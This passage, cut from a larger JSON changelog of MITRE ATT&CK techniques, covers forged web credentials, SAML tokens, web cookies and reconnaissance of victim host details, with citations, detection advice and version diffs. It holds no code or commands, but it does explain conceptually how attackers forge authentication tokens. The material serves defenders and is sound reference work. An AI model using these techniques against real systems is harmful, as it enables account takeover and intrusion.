or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1606", "external_id": "T1606" }, { "source_name": "GitHub AWS-ADFS-Credential-Generator", "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.", "url": "https://github.com/damianh/aws-adfs-credential-generator" }, { "source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" }, { "source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" }, { "source_name": "Microsoft SolarWinds Customer Guidance", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Web Credential: Web Credential Creation", "Web Credential: Web Credential Usage" ], "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "SaaS", "Windows", "macOS", "Linux", "Azure AD", "Office 365", "Google Workspace", "IaaS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 14:26:52.179000+00:00\", \"old_value\": \"2021-04-14 14:29:27.631000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][7]\": \"IaaS\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management", "M1047: Audit", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0006: Web Credential (Web Credential Creation)", "DS0006: Web Credential (Web Credential Usage)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-12-17 15:24:12.240000+00:00", "modified": "2021-09-20 16:47:19.173000+00:00", "name": "SAML Tokens", "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1606/002", "external_id": "T1606.002" }, { "source_name": "Microsoft SolarWinds Steps", "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.", "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/" }, { "source_name": "Microsoft SAML Token Lifetimes", "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes" }, { "source_name": "Cyberark Golden SAML", "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.", "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps" }, { "source_name": "Microsoft SolarWinds Customer Guidance", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" }, { "source_name": "Sygnia Golden SAML", "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", "url": "https://www.sygnia.co/golden-saml-advisory" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jen Burns, HubSpot", "Blake Strom, Microsoft 365 Defender", "Oleg Kolesnikov, Securonix" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Web Credential: Web Credential Creation", "Web Credential: Web Credential Usage" ], "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Azure AD", "SaaS", "Windows", "Office 365", "Google Workspace", "IaaS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-20 16:47:19.173000+00:00\", \"old_value\": \"2021-04-14 14:29:27.290000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][0]\": \"Jen Burns, HubSpot\", \"root['x_mitre_platforms'][5]\": \"IaaS\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1015: Active Directory Configuration", "M1018: User Account Management", "M1026: Privileged Account Management", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0006: Web Credential (Web Credential Creation)", "DS0006: Web Credential (Web Credential Usage)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-12-17 02:14:34.178000+00:00", "modified": "2021-09-20 16:48:28.041000+00:00", "name": "Web Cookies", "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1606/001", "external_id": "T1606.001" }, { "source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" }, { "source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" }, { "source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jen Burns, HubSpot" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Web Credential: Web Credential Creation", "Web Credential: Web Credential Usage" ], "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "SaaS", "IaaS" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Jen Burns, HubSpot\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-20 16:48:28.041000+00:00\", \"old_value\": \"2021-01-11 20:31:36.404000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"IaaS\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1047: Audit", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0006: Web Credential (Web Credential Creation)", "DS0006: Web Credential (Web Credential Usage)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-02 16:39:33.966000+00:00", "modified": "2021-10-17 16:35:09.878000+00:00", "name": "Gather Victim Host Information", "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "reconnaissance" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1592", "external_id": "T1592" }, { "source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:35:09.878000+00:00\", \"old_value\": \"2021-04-15 03:23:58.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n+Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n \\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\\n+Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-02 16:47:16.719000+00:00", "modified": "2021-10-17 16:35:09.668000+00:00", "name": "Client Configurations", "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "reconnaissance" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1592/004", "external_id": "T1592.004" }, { "source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:35:09.668000+00:00\", \"old_value\": \"2021-04-15 03:22:14.288000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n+Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n \\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\\n+Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-02 16:40:47.488000+00:00", "modified": "2021-10-17 16:32:10.810000+00:00", "name": "Hardware", "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "reconnaissance" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1592/001", "external_id": "T1592.001" }, { "source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:32:10.810000+00:00\", \"old_value\": \"2021-04-15 03:23:21.031000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n+Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n \\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\\n+Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ThreatConnect Infrastructure Dec 2020\", \"description\": \"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.\", \"url\": \"https://threatconnect.com/blog/infrastructure-research-hunting/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-02 16:42:17.482000+00:00", "modified": "2021-10-17 16:33:19.596000+00:00", "name": "Software", "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "reconnaissance" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1592/002", "external_id": "T1592.002" }, { "source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" }, { "source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:33:19.596000+00:00\", \"old_value\": \"2021-04-15 03:23:57.876000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"old_value\": 